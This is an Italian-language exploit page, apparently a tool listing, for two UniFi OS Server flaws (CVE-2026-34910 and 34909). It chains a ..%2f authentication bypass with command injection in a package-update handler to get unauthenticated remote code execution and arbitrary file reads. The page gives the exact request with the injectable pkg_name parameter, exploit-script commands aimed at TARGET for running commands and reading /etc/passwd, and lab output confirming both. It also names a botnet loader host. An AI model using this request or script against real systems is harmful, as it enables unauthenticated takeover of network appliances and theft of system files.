
CVE-2026-34910/34909 — RCE non autenticata su UniFi OS + lettura di file tramite bypass dell'autenticazione ..%2f (CVSS 10.0, KEV, Mirai ITW)
RCE tramite command injection non autenticata (CVE-2026-34910) + lettura arbitraria di file tramite path traversal (CVE-2026-34909) in UniFi OS Server.
CVSS 10.0 (Critico) ciascuna · inserita nella CISA KEV · attivamente sfruttata da un
botnet derivato da Mirai (impianto azsxd).
Ubiquiti UniFi OS include un gateway di autenticazione nginx che considera pubblica qualsiasi richiesta il cui
URI RAW inizia con /api/auth/validate-sso/, ma instrada in base all'
URI NORMALIZZATO (decodifica %2f → / e comprime ../). Codificando un
traversal si fa divergere i due:
GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=<CMD>&by_cmd=true
→ raggiunge l'handler interno di aggiornamento dei pacchetti, che passa pkg_name a
/bin/sh -c → RCE non autenticata in una singola richiesta.
La stessa primitiva contro /app-assets/... legge i file dal disco
(CVE-2026-34909).
# 1. Auth-bypass probe (non-destructive)
python3 CVE-2026-34910.py https://TARGET:8443 --check
# 2. RCE — run a command (CVE-2026-34910)
python3 CVE-2026-34910.py https://TARGET:8443 "id > /tmp/pwned.txt"
# 3. RCE proof — create a file on the target
python3 CVE-2026-34910.py https://TARGET:8443 --proof
# 4. File read (CVE-2026-34909)
python3 CVE-2026-34910.py https://TARGET:8443 --read /etc/passwd
Il payload RCE inietta un punto e virgola nel comando shell interno
sudo systemctl stop <pkg_name> dell'handler: pkg_name=evil;<CMD> →
sudo systemctl stop evil;<CMD> — il comando iniettato viene eseguito sull'host
con l'utente ucs-update.
$ python3 CVE-2026-34910.py https://127.0.0.1:11443 --proof
[*] Command: touch /tmp/PWNED_34910
[*] HTTP 200
[*] Response: {"code":-3,"codeS":"CODE_SYSTEM_ERROR",...}
[+] Request sent — command executed on target
# On the target (docker exec unifi-os-vuln):
$ ls -la /tmp/PWNED_34910
-rw-r--r-- 1 ucs-update ucs-update 0 Aug 9 21:52 /tmp/PWNED_34910 ✅ FILE CREATED
✅ COMPLETAMENTE VERIFICATO — RCE confermata contro UniFi OS Server 5.0.6 reale (vulnerabile, setup completato) in esecuzione in Docker (hieutq/unifi-os-server:5.0.6-amd64):
- Il bypass di autenticazione tramite
..%2fraggiunge l'handler internolatest_package(risposta:CODE_SYSTEM_ERROR/ "pkg_name required" — non un 400 di nginx).pkg_name=evil;touch /tmp/PWNED_34910&by_cmd=trueha creato il file sul target (-rw-r--r-- ucs-update) → command injection → RCE confermata.- Contro UniFi OS 5.1.21 con patch la stessa richiesta restituisce HTTP 400 (nginx rifiuta la divergenza tra URI grezzo e URI normalizzato), confermando un risultato negativo pulito.
Il setup è stato completato tramite la procedura guidata web reale (nome dispositivo → credenziali → password console → fine), quindi il laboratorio corrisponde a un'appliance installata in produzione.
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --check
[*] Auth-bypass probe: HTTP 200
[+] VULNERABLE — handler reached (pkg_name required)
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --read /etc/passwd
[*] File: /etc/passwd
[*] HTTP 200
[+] File contents (80 bytes):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
| CVE | Gravità | Affected | Fixed |
|---|---|---|---|
| CVE-2026-34910 | 10.0 Critica | UniFi OS Server (pre-SAB-064) | SAB-064 |
| CVE-2026-34909 | 10.0 Critica | UniFi OS Server (pre-SAB-064) | SAB-064 |
| CVE-2026-34908 | 10.0 Critica | UniFi OS Server (pre-SAB-064) | SAB-064 |
Botnet derivata da Mirai/Gafgyt (impianto azsxd v2.0) che concatena il bypass
dell'autenticazione + l'injection di comandi per un RCE non autenticato — loader
multi-arch predisposto da 185.228.26.16. Vedi il writeup di pwndefend.
Solo per test di sicurezza autorizzati e scopi educativi.
Scopri gli strumenti più utilizzati dalla nostra community.
Nessun dato di popolarità ancora.